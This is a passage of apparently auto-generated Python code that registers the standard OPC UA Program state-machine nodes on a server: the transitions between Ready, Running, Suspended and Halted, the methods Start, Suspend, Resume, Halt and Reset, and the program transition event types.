ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2412")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2406")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2412")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2429")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2412")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2413")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2412")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(3, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2413")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2414")
node.BrowseName = ua.QualifiedName.from_string("RunningToReady")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("RunningToReady")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2414")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2415")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2414")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2414")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2414")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2415")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2414")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(4, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2415")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2416")
node.BrowseName = ua.QualifiedName.from_string("RunningToSuspended")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("RunningToSuspended")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2416")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2417")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2416")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2416")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2404")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2416")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2427")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2416")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2417")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2416")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(5, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2417")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2418")
node.BrowseName = ua.QualifiedName.from_string("SuspendedToRunning")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("SuspendedToRunning")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2418")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2419")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2418")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2404")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2418")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2402")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2418")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2428")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2418")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2419")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2418")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(6, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2419")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2420")
node.BrowseName = ua.QualifiedName.from_string("SuspendedToHalted")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("SuspendedToHalted")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2420")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2421")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2420")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2404")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2420")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2406")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2420")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2429")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2420")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2421")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2420")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(7, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2421")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2422")
node.BrowseName = ua.QualifiedName.from_string("SuspendedToReady")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("SuspendedToReady")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2422")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2423")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2422")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2404")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2422")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2422")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2423")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2422")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(8, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2423")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2424")
node.BrowseName = ua.QualifiedName.from_string("ReadyToHalted")
node.NodeClass = ua.NodeClass.Object
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2310")
attrs = ua.ObjectAttributes()
attrs.DisplayName = ua.LocalizedText("ReadyToHalted")
attrs.EventNotifier = 0
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2424")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2425")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=51")
ref.SourceNodeId = ua.NodeId.from_string("i=2424")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2400")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=52")
ref.SourceNodeId = ua.NodeId.from_string("i=2424")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2406")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=53")
ref.SourceNodeId = ua.NodeId.from_string("i=2424")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2429")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=54")
ref.SourceNodeId = ua.NodeId.from_string("i=2424")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2378")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2425")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2424")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.Value = ua.Variant(9, ua.VariantType.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2425")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2426")
node.BrowseName = ua.QualifiedName.from_string("Start")
node.NodeClass = ua.NodeClass.Method
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
attrs = ua.MethodAttributes()
attrs.Description = ua.LocalizedText("Causes the Program to transition from the Ready state to the Running state.")
attrs.DisplayName = ua.LocalizedText("Start")
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2426")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2427")
node.BrowseName = ua.QualifiedName.from_string("Suspend")
node.NodeClass = ua.NodeClass.Method
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
attrs = ua.MethodAttributes()
attrs.Description = ua.LocalizedText("Causes the Program to transition from the Running state to the Suspended state.")
attrs.DisplayName = ua.LocalizedText("Suspend")
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2427")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2428")
node.BrowseName = ua.QualifiedName.from_string("Resume")
node.NodeClass = ua.NodeClass.Method
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
attrs = ua.MethodAttributes()
attrs.Description = ua.LocalizedText("Causes the Program to transition from the Suspended state to the Running state.")
attrs.DisplayName = ua.LocalizedText("Resume")
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2428")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2429")
node.BrowseName = ua.QualifiedName.from_string("Halt")
node.NodeClass = ua.NodeClass.Method
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
attrs = ua.MethodAttributes()
attrs.Description = ua.LocalizedText("Causes the Program to transition from the Ready, Running or Suspended state to the Halted state.")
attrs.DisplayName = ua.LocalizedText("Halt")
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2429")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2430")
node.BrowseName = ua.QualifiedName.from_string("Reset")
node.NodeClass = ua.NodeClass.Method
node.ParentNodeId = ua.NodeId.from_string("i=2391")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
attrs = ua.MethodAttributes()
attrs.Description = ua.LocalizedText("Causes the Program to transition from the Halted state to the Ready state.")
attrs.DisplayName = ua.LocalizedText("Reset")
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2430")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2378")
node.BrowseName = ua.QualifiedName.from_string("ProgramTransitionEventType")
node.NodeClass = ua.NodeClass.ObjectType
node.ParentNodeId = ua.NodeId.from_string("i=2311")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.ObjectTypeAttributes()
attrs.DisplayName = ua.LocalizedText("ProgramTransitionEventType")
attrs.IsAbstract = False
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=2378")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=2379")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=2379")
node.BrowseName = ua.QualifiedName.from_string("IntermediateResult")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=2378")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("IntermediateResult")
attrs.DataType = ua.NodeId(ua.ObjectIds.String)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=2379")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=11856")
node.BrowseName = ua.QualifiedName.from_string("AuditProgramTransitionEventType")
node.NodeClass = ua.NodeClass.ObjectType
node.ParentNodeId = ua.NodeId.from_string("i=2315")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.ObjectTypeAttributes()
attrs.DisplayName = ua.LocalizedText("AuditProgramTransitionEventType")
attrs.IsAbstract = False
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=11856")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=11875")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=11875")
node.BrowseName = ua.QualifiedName.from_string("TransitionNumber")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=11856")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("TransitionNumber")
attrs.DataType = ua.NodeId(ua.ObjectIds.UInt32)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=11875")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3806")
node.BrowseName = ua.QualifiedName.from_string("ProgramTransitionAuditEventType")
node.NodeClass = ua.NodeClass.ObjectType
node.ParentNodeId = ua.NodeId.from_string("i=2315")
node.ReferenceTypeId = ua.NodeId.from_string("i=45")
attrs = ua.ObjectTypeAttributes()
attrs.DisplayName = ua.LocalizedText("ProgramTransitionAuditEventType")
attrs.IsAbstract = False
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=47")
ref.SourceNodeId = ua.NodeId.from_string("i=3806")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3825")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3825")
node.BrowseName = ua.QualifiedName.from_string("Transition")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3806")
node.ReferenceTypeId = ua.NodeId.from_string("i=47")
node.TypeDefinition = ua.NodeId.from_string("i=2767")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Transition")
attrs.DataType = ua.NodeId(ua.ObjectIds.LocalizedText)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=46")
ref.SourceNodeId = ua.NodeId.from_string("i=3825")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=3826")
refs.append(ref)
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3825")
ref.TargetNodeClass = ua.NodeClass.DataType
ref.TargetNodeId = ua.NodeId.from_string("i=78")
refs.append(ref)
server.add_references(refs)
node = ua.AddNodesItem()
node.RequestedNewNodeId = ua.NodeId.from_string("i=3826")
node.BrowseName = ua.QualifiedName.from_string("Id")
node.NodeClass = ua.NodeClass.Variable
node.ParentNodeId = ua.NodeId.from_string("i=3825")
node.ReferenceTypeId = ua.NodeId.from_string("i=46")
node.TypeDefinition = ua.NodeId.from_string("i=68")
attrs = ua.VariableAttributes()
attrs.DisplayName = ua.LocalizedText("Id")
attrs.DataType = ua.NodeId(ua.ObjectIds.NodeId)
attrs.ValueRank = -1
node.NodeAttributes = attrs
server.add_nodes([node])
refs = []
ref = ua.AddReferencesItem()
ref.IsForward = True
ref.ReferenceTypeId = ua.NodeId.from_string("i=37")
ref.SourceNodeId = ua.NodeId.from_string("i=3826")
ref.TargetNodeClass = ua.NodeClass.DataType
